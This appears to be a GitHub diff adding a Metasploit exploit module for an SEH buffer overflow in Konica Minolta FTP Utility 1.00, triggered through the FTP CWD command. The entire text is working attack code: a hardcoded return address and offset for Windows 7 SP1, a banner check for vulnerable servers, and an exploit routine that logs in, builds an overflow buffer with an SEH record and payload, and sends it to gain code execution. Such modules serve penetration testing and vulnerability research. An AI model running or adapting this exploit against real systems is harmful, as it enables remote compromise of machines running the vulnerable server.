|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Ftp |
| 12 | + include Msf::Exploit::Seh |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an SEH overflow in Konica Minolta FTP Server 1.00. |
| 19 | + Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which |
| 20 | + leads to an SEH overflow. Konica FTP allows anonymous access by default; valid |
| 21 | + credentials are typically unnecessary to exploit this vulnerability. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Shankar Damodaran', # stack buffer overflow dos p.o.c |
| 26 | + 'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'EBD', '37908' ] |
| 32 | + ], |
| 33 | + 'Privileged' => false, |
| 34 | + 'Payload' => |
| 35 | + { |
| 36 | + 'Space' => 1500, |
| 37 | + 'BadChars' => "\x00\x0a\x2f\x5c", |
| 38 | + 'DisableNops' => true |
| 39 | + }, |
| 40 | + 'Platform' => 'win', |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ |
| 44 | + 'Windows 7 SP1 x86', |
| 45 | + { |
| 46 | + 'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll |
| 47 | + 'Offset' => 1037 |
| 48 | + } |
| 49 | + ] |
| 50 | + ], |
| 51 | + 'DisclosureDate' => 'Aug 23 2015', |
| 52 | + 'DefaultTarget' => 0)) |
| 53 | + end |
| 54 | + |
| 55 | + def check |
| 56 | + connect |
| 57 | + disconnect |
| 58 | + |
| 59 | + if banner =~ /FTP Utility FTP server \(Version 1\.00\)/ |
| 60 | + return Exploit::CheckCode::Detected |
| 61 | + else |
| 62 | + return Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + end |
| 65 | + |
| 66 | + def exploit |
| 67 | + connect_login |
| 68 | + |
| 69 | + buf = rand_text(target['Offset']) |
| 70 | + buf << generate_seh_record(target.ret) |
| 71 | + buf << payload.encoded |
| 72 | + buf << rand_text(3000) |
| 73 | + |
| 74 | + print_status("Sending exploit buffer...") |
| 75 | + send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string |
| 76 | + |
| 77 | + handler |
| 78 | + disconnect |
| 79 | + end |
| 80 | +end |
0 commit comments